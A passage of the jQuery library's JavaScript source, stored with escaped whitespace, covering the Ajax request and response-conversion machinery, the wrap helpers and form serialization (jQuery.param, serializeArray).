);\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[ 0 ] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n/* Chain conversions given the request and the original response\n * Also sets the responseXXX fields on the jqXHR instance\n */\nfunction ajaxConvert( s, response, jqXHR, isSuccess ) {\n\tvar conv2, current, conv, tmp, prev,\n\t\tconverters = {},\n\n\t\t// Work with a copy of dataTypes in case we need to modify it for conversion\n\t\tdataTypes = s.dataTypes.slice();\n\n\t// Create converters map with lowercased keys\n\tif ( dataTypes[ 1 ] ) {\n\t\tfor ( conv in s.converters ) {\n\t\t\tconverters[ conv.toLowerCase() ] = s.converters[ conv ];\n\t\t}\n\t}\n\n\tcurrent = dataTypes.shift();\n\n\t// Convert to each sequential dataType\n\twhile ( current ) {\n\n\t\tif ( s.responseFields[ current ] ) {\n\t\t\tjqXHR[ s.responseFields[ current ] ] = response;\n\t\t}\n\n\t\t// Apply the dataFilter if provided\n\t\tif ( !prev && isSuccess && s.dataFilter ) {\n\t\t\tresponse = s.dataFilter( response, s.dataType );\n\t\t}\n\n\t\tprev = current;\n\t\tcurrent = dataTypes.shift();\n\n\t\tif ( current ) {\n\n\t\t// There's only work to do if current dataType is non-auto\n\t\t\tif ( current === \"*\" ) {\n\n\t\t\t\tcurrent = prev;\n\n\t\t\t// Convert response if prev dataType is non-auto and differs from current\n\t\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t\t// Seek a direct converter\n\t\t\t\tconv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n\t\t\t\t// If none found, seek a pair\n\t\t\t\tif ( !conv ) {\n\t\t\t\t\tfor ( conv2 in converters ) {\n\n\t\t\t\t\t\t// If conv2 outputs current\n\t\t\t\t\t\ttmp = conv2.split( \" \" );\n\t\t\t\t\t\tif ( tmp[ 1 ] === current ) {\n\n\t\t\t\t\t\t\t// If prev can be converted to accepted input\n\t\t\t\t\t\t\tconv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n\t\t\t\t\t\t\t\tconverters[ \"* \" + tmp[ 0 ] ];\n\t\t\t\t\t\t\tif ( conv ) {\n\n\t\t\t\t\t\t\t\t// Condense equivalence converters\n\t\t\t\t\t\t\t\tif ( conv === true ) {\n\t\t\t\t\t\t\t\t\tconv = converters[ conv2 ];\n\n\t\t\t\t\t\t\t\t// Otherwise, insert the intermediate dataType\n\t\t\t\t\t\t\t\t} else if ( converters[ conv2 ] !== true ) {\n\t\t\t\t\t\t\t\t\tcurrent = tmp[ 0 ];\n\t\t\t\t\t\t\t\t\tdataTypes.unshift( tmp[ 1 ] );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Apply converter (if not an equivalence)\n\t\t\t\tif ( conv !== true ) {\n\n\t\t\t\t\t// Unless errors are allowed to bubble, catch and return them\n\t\t\t\t\tif ( conv && s.throws ) {\n\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\tstate: \"parsererror\",\n\t\t\t\t\t\t\t\terror: conv ? e : \"No conversion from \" + prev + \" to \" + current\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { state: \"success\", data: response };\n}\n\njQuery.extend( {\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\ttype: \"GET\",\n\t\tisLocal: rlocalProtocol.test( location.protocol ),\n\t\tglobal: true,\n\t\tprocessData: true,\n\t\tasync: true,\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\tthrows: false,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\t\"*\": allTypes,\n\t\t\ttext: \"text/plain\",\n\t\t\thtml: \"text/html\",\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\tjson: \"application/json, text/javascript\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /\\bxml\\b/,\n\t\t\thtml: /\\bhtml/,\n\t\t\tjson: /\\bjson\\b/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\",\n\t\t\tjson: \"responseJSON\"\n\t\t},\n\n\t\t// Data converters\n\t\t// Keys separate source (or catchall \"*\") and destination types with a single space\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": jQuery.parseJSON,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\turl: true,\n\t\t\tcontext: true\n\t\t}\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\treturn settings ?\n\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n\t\t\t// Extending ajaxSettings\n\t\t\tajaxExtend( jQuery.ajaxSettings, target );\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar transport,\n\n\t\t\t// URL without anti-cache param\n\t\t\tcacheURL,\n\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\n\t\t\t// Url cleanup var\n\t\t\turlAnchor,\n\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\n\t\t\t// Loop variable\n\t\t\ti,\n\n\t\t\t// Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\n\t\t\t// Context for global events is callbackContext if it is a DOM node or jQuery collection\n\t\t\tglobalEventContext = s.context &&\n\t\t\t\t( callbackContext.nodeType || callbackContext.jquery ) ?\n\t\t\t\t\tjQuery( callbackContext ) :\n\t\t\t\t\tjQuery.event,\n\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks( \"once memory\" ),\n\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\n\t\t\t// The jqXHR state\n\t\t\tstate = 0,\n\n\t\t\t// Default abort message\n\t\t\tstrAbort = \"canceled\",\n\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( state === 2 ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile ( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match == null ? null : match;\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn state === 2 ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tvar lname = name.toLowerCase();\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\tname = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Status-dependent callbacks\n\t\t\t\tstatusCode: function( map ) {\n\t\t\t\t\tvar code;\n\t\t\t\t\tif ( map ) {\n\t\t\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\t\t\tfor ( code in map ) {\n\n\t\t\t\t\t\t\t\t// Lazy-add the new callback in a way that preserves old ones\n\t\t\t\t\t\t\t\tstatusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Execute the appropriate callbacks\n\t\t\t\t\t\t\tjqXHR.always( map[ jqXHR.status ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tvar finalText = statusText || strAbort;\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( finalText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, finalText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR ).complete = completeDeferred.add;\n\t\tjqXHR.success = jqXHR.done;\n\t\tjqXHR.error = jqXHR.fail;\n\n\t\t// Remove hash character (#7531: and string promotion)\n\t\t// Add protocol if not provided (prefilters might expect it)\n\t\t// Handle falsy url in the settings object (#10093: consistency with old signature)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url || location.href ) + \"\" ).replace( rhash, \"\" )\n\t\t\t.replace( rprotocol, location.protocol + \"//\" );\n\n\t\t// Alias method option to type as per ticket #12004\n\t\ts.type = options.method || options.type || s.method || s.type;\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = jQuery.trim( s.dataType || \"*\" ).toLowerCase().match( rnotwhite ) || [ \"\" ];\n\n\t\t// A cross-domain request is in order when the origin doesn't match the current origin.\n\t\tif ( s.crossDomain == null ) {\n\t\t\turlAnchor = document.createElement( \"a\" );\n\n\t\t\t// Support: IE8-11+\n\t\t\t// IE throws exception if url is malformed, e.g. http://example.com:80x/\n\t\t\ttry {\n\t\t\t\turlAnchor.href = s.url;\n\n\t\t\t\t// Support: IE8-11+\n\t\t\t\t// Anchor's host property isn't correctly set when s.url is relative\n\t\t\t\turlAnchor.href = urlAnchor.href;\n\t\t\t\ts.crossDomain = originAnchor.protocol + \"//\" + originAnchor.host !==\n\t\t\t\t\turlAnchor.protocol + \"//\" + urlAnchor.host;\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// If there is an error parsing the URL, assume it is crossDomain,\n\t\t\t\t// it can be rejected by the transport if it is invalid\n\t\t\t\ts.crossDomain = true;\n\t\t\t}\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( state === 2 ) {\n\t\t\treturn jqXHR;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\t// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)\n\t\tfireGlobals = jQuery.event && s.global;\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Save the URL in case we're toying with the If-Modified-Since\n\t\t// and/or If-None-Match header later on\n\t\tcacheURL = s.url;\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// If data is available, append data to url\n\t\t\tif ( s.data ) {\n\t\t\t\tcacheURL = ( s.url += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data );\n\n\t\t\t\t// #9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Add anti-cache in url if needed\n\t\t\tif ( s.cache === false ) {\n\t\t\t\ts.url = rts.test( cacheURL ) ?\n\n\t\t\t\t\t// If there is already a '_' parameter, set its value\n\t\t\t\t\tcacheURL.replace( rts, \"$1_=\" + nonce++ ) :\n\n\t\t\t\t\t// Otherwise add one to the end\n\t\t\t\t\tcacheURL + ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + nonce++;\n\t\t\t}\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tif ( jQuery.lastModified[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[ 0 ] ] +\n\t\t\t\t\t( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend &&\n\t\t\t( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {\n\n\t\t\t// Abort if not done already and return\n\t\t\treturn jqXHR.abort();\n\t\t}\n\n\t\t// Aborting is no longer a cancellation\n\t\tstrAbort = \"abort\";\n\n\t\t// Install callbacks on deferreds\n\t\tfor ( i in { success: 1, error: 1, complete: 1 } ) {\n\t\t\tjqXHR[ i ]( s[ i ] );\n\t\t}\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\n\t\t\t// If request was aborted inside ajaxSend, stop there\n\t\t\tif ( state === 2 ) {\n\t\t\t\treturn jqXHR;\n\t\t\t}\n\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = window.setTimeout( function() {\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tstate = 1;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// Propagate exception as error if not done\n\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\tdone( -1, e );\n\n\t\t\t\t// Simply rethrow otherwise\n\t\t\t\t} else {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Callback for when everything is done\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\t\t\tvar isSuccess, success, error, response, modified,\n\t\t\t\tstatusText = nativeStatusText;\n\n\t\t\t// Called once\n\t\t\tif ( state === 2 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// State is \"done\" now\n\t\t\tstate = 2;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\twindow.clearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\t// Determine if successful\n\t\t\tisSuccess = status >= 200 && status < 300 || status === 304;\n\n\t\t\t// Get response data\n\t\t\tif ( responses ) {\n\t\t\t\tresponse = ajaxHandleResponses( s, jqXHR, responses );\n\t\t\t}\n\n\t\t\t// Convert no matter what (that way responseXXX fields are always set)\n\t\t\tresponse = ajaxConvert( s, response, jqXHR, isSuccess );\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( isSuccess ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"Last-Modified\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.lastModified[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"etag\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.etag[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if no content\n\t\t\t\tif ( status === 204 || s.type === \"HEAD\" ) {\n\t\t\t\t\tstatusText = \"nocontent\";\n\n\t\t\t\t// if not modified\n\t\t\t\t} else if ( status === 304 ) {\n\t\t\t\t\tstatusText = \"notmodified\";\n\n\t\t\t\t// If we have data, let's convert it\n\t\t\t\t} else {\n\t\t\t\t\tstatusText = response.state;\n\t\t\t\t\tsuccess = response.data;\n\t\t\t\t\terror = response.error;\n\t\t\t\t\tisSuccess = !error;\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\t// Extract error from statusText and normalize for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( status || !statusText ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t}\n} );\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\n\t\t// Shift arguments if data argument was omitted\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\t// The url can be an options object (which then must have .url)\n\t\treturn jQuery.ajax( jQuery.extend( {\n\t\t\turl: url,\n\t\t\ttype: method,\n\t\t\tdataType: type,\n\t\t\tdata: data,\n\t\t\tsuccess: callback\n\t\t}, jQuery.isPlainObject( url ) && url ) );\n\t};\n} );\n\n\njQuery._evalUrl = function( url ) {\n\treturn jQuery.ajax( {\n\t\turl: url,\n\n\t\t// Make this explicit, since user can override this through ajaxSetup (#11264)\n\t\ttype: \"GET\",\n\t\tdataType: \"script\",\n\t\tasync: false,\n\t\tglobal: false,\n\t\t\"throws\": true\n\t} );\n};\n\n\njQuery.fn.extend( {\n\twrapAll: function( html ) {\n\t\tvar wrap;\n\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).wrapAll( html.call( this, i ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( this[ 0 ] ) {\n\n\t\t\t// The elements to wrap the target around\n\t\t\twrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );\n\n\t\t\tif ( this[ 0 ].parentNode ) {\n\t\t\t\twrap.insertBefore( this[ 0 ] );\n\t\t\t}\n\n\t\t\twrap.map( function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstElementChild ) {\n\t\t\t\t\telem = elem.firstElementChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t} ).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).wrapInner( html.call( this, i ) );\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t} );\n\t},\n\n\twrap: function( html ) {\n\t\tvar isFunction = jQuery.isFunction( html );\n\n\t\treturn this.each( function( i ) {\n\t\t\tjQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html );\n\t\t} );\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each( function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t} ).end();\n\t}\n} );\n\n\njQuery.expr.filters.hidden = function( elem ) {\n\treturn !jQuery.expr.filters.visible( elem );\n};\njQuery.expr.filters.visible = function( elem ) {\n\n\t// Support: Opera <= 12.12\n\t// Opera reports offsetWidths and offsetHeights less than zero on some elements\n\t// Use OR instead of AND as the element is not visible if either is true\n\t// See tickets #10406 and #13132\n\treturn elem.offsetWidth > 0 || elem.offsetHeight > 0 || elem.getClientRects().length > 0;\n};\n\n\n\n\nvar r20 = /%20/g,\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n\trsubmittable = /^(?:input|select|textarea|keygen)/i;\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tvar name;\n\n\tif ( jQuery.isArray( obj ) ) {\n\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\n\t\t\t\t// Item is non-scalar (array or object), encode its numeric index.\n\t\t\t\tbuildParams(\n\t\t\t\t\tprefix + \"[\" + ( typeof v === \"object\" && v != null ? i : \"\" ) + \"]\",\n\t\t\t\t\tv,\n\t\t\t\t\ttraditional,\n\t\t\t\t\tadd\n\t\t\t\t);\n\t\t\t}\n\t\t} );\n\n\t} else if ( !traditional && jQuery.type( obj ) === \"object\" ) {\n\n\t\t// Serialize object item.\n\t\tfor ( name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\njQuery.param = function( a, traditional ) {\n\tvar prefix,\n\t\ts = [],\n\t\tadd = function( key, value ) {\n\n\t\t\t// If value is a function, invoke it and return its value\n\t\t\tvalue = jQuery.isFunction( value ) ? value() : ( value == null ? \"\" : value );\n\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" + encodeURIComponent( value );\n\t\t};\n\n\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\tif ( traditional === undefined ) {\n\t\ttraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;\n\t}\n\n\t// If an array was passed in, assume that it is an array of form elements.\n\tif ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\n\t\t// Serialize the form elements\n\t\tjQuery.each( a, function() {\n\t\t\tadd( this.name, this.value );\n\t\t} );\n\n\t} else {\n\n\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t// did it), otherwise encode params recursively.\n\t\tfor ( prefix in a ) {\n\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t}\n\t}\n\n\t// Return the resulting serialization\n\treturn s.join( \"&\" ).replace( r20, \"+\" );\n};\n\njQuery.fn.extend( {\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\tserializeArray: function() {\n\t\treturn this.map( function() {\n\n\t\t\t// Can add propHook for \"elements\" to filter or add form elements\n\t\t\tvar elements = jQuery.prop( this, \"elements\" );\n\t\t\treturn elements ? jQuery.makeArray( elements ) : this;\n\t\t} )\n\t\t.filter( function() {\n\t\t\tvar type = this.type;\n\n\t\t\t// Use .is( \":disabled\" ) so that fieldset[disabled] works\n\t\t\treturn this.name && !jQuery( this ).is( \":disabled\" ) &&\n\t\t\t\trsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n\t\t\t\t( this.checked || !rcheckableType.test( type ) );\n\t\t} )\n\t\t.map( function( i, elem ) {\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray( val ) ?\n\t\t\t\t\tjQuery.map( val, function( val ) {\n\t\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t\t} ) :\n\t\t\t\t\t{ name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t} ).get();\n\t}\n} );\n\n\njQuery.ajaxSettings.xhr = function() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch ( e ) {}\n};\n\nvar 